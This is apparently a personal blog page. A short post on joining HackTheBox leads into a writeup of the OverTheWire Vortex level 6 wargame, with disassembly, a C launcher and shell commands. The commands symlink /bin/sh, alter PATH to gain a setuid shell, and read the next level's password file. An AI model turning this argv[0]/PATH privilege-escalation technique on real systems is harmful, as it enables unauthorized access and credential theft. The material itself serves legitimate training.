New challenges

After playing with warboxes on overthewire.org, and taking some rest (vacation, family, ...)I decided to try other chellanges.

Some time ago I heard of HackTheBox and that looked very interesting, so I decided it was time to try it.

You can subscribe to it for a free account: you're given a openvpn config that make you access to some (~20 ) virtual machines.

With a small monthly fee you can also have access to other machines (~100) that have benn retired and you also have access to walkthroughs of these retired machines.
(the concept behind is that every week a public machines gets replaced by a new one while the replaced VM becomes retired)

The goal is to find a way into the machine and caputre a user and root flags.

Every flag give you points that are used to calculated your total score and ranking.

There are also side challenges similar to other CTF (like reversing files...)


So far I focused on easy/medium machines to solve and got root/admin on the following:
  • Bastion
  • Craft
  • Haystack
  • Heist
  • Jarvis
  • Luke
  • Networkd
  • Swagshop
  • Writeup

I wrote walkthrough for these machines, but I can't publish them, as they are still active and publicly available machines.

Once they get retired, I'll publish them.

So now the badge is:
Hack The Box

OverTheWire.org - Vortex - Level 6 Writeup

If we run the executable it seems to hang.
But using ltrace (or strace) we discover that it keeps executing itself creating an endless cycle:

vortex6@vortex:~$ ltrace /vortex/vortex6
__libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...>
execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
--- Called exec() ---
__libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...>
execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
--- Called exec() ---
__libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...>
execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
--- Called exec() ---
__libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...>
execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
--- Called exec() ---
__libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...>
execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>

Let's look at the code in gdb:

vortex6@vortex:~$ gdb /vortex/vortex6
...
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804849f <+0>:     push   %ebp
   0x080484a0 <+1>:     mov    %esp,%ebp
   0x080484a2 <+3>:     and    $0xfffffff0,%esp
   0x080484a5 <+6>:     sub    $0x10,%esp
   0x080484a8 <+9>:     mov    0x10(%ebp),%eax
   0x080484ab <+12>:    mov    (%eax),%eax
   0x080484ad <+14>:    test   %eax,%eax
   0x080484af <+16>:    je     0x80484be <main+31>
   0x080484b1 <+18>:    mov    0xc(%ebp),%eax
   0x080484b4 <+21>:    mov    (%eax),%eax
   0x080484b6 <+23>:    mov    %eax,(%esp)
   0x080484b9 <+26>:    call   0x804847d <restart>
   0x080484be <+31>:    mov    0x10(%ebp),%eax
   0x080484c1 <+34>:    add    $0xc,%eax
   0x080484c4 <+37>:    mov    (%eax),%eax
   0x080484c6 <+39>:    mov    %eax,(%esp)
   0x080484c9 <+42>:    call   0x8048330 <printf@plt>
   0x080484ce <+47>:    movl   $0x7325,(%esp)
   0x080484d5 <+54>:    call   0x8048340 <_exit@plt>
End of assembler dump.
(gdb) disassemble restart
Dump of assembler code for function restart:
   0x0804847d <+0>:     push   %ebp
   0x0804847e <+1>:     mov    %esp,%ebp
   0x08048480 <+3>:     sub    $0x18,%esp
   0x08048483 <+6>:     movl   $0x0,0x8(%esp)
   0x0804848b <+14>:    mov    0x8(%ebp),%eax
   0x0804848e <+17>:    mov    %eax,0x4(%esp)
   0x08048492 <+21>:    mov    0x8(%ebp),%eax
   0x08048495 <+24>:    mov    %eax,(%esp)
   0x08048498 <+27>:    call   0x8048350 <execlp@plt>
   0x0804849d <+32>:    leave
   0x0804849e <+33>:    ret
End of assembler dump.
(gdb)

We see that if argv[0] is not set, the flow jumps to the final lines with printf() and exit().

Otherwise it jumps to restart: this procedure calls execlp() with argv[0]  as parameter-

Passing a specific argv[0] we can redirect the execlp() call in the first execution of restart

Let's try with this calling program with something in the argument and ENV

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#include <stdlib.h>

int main (int argc, char *argv[])
{
    char *sc[4];

    sc[0]="A";
    sc[1]= "AAAA";
    sc[2]= "BBBB";
    sc[3]= "CCCC";

    execve("/vortex/vortex6",sc,sc);

    return 0;
}

Compile and executing it in a temporary folder

vortex6@vortex:/tmp/vortex6$ strace ./v6
execve("./v6", ["./v6"], [/* 20 vars */]) = 0
....
execve("/vortex/vortex6", ["A", "AAAA", "BBBB", "CCCC", "UW1\377VS\350\325\376\377\377\201\303\205\33"], [/* 9 vars */]) = 0
.....
execve("A", ["A"], [/* 22 vars */])     = -1 ENOENT (No such file or directory)
....
exit_group(29477)                       = ?
+++ exited with 37 +++


The interesting part is that it calls execve("A"), where "A" is the argv[0] we put in the calling program.

So now we create a symbolic link to /bin/sh and add local directory in the PATH.

Then execute vortex6 and...

vortex6@vortex:/tmp/vortex6$ ln -s /bin/sh A
vortex6@vortex:/tmp/vortex6$ PATH=.:$PATH
vortex6@vortex:/tmp/vortex6$  ./v6
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
Y******/
$

New challenges

After playing with warboxes on overthewire.org, and taking some rest (vacation, family, ...)I decided to try other chellanges. Some time a...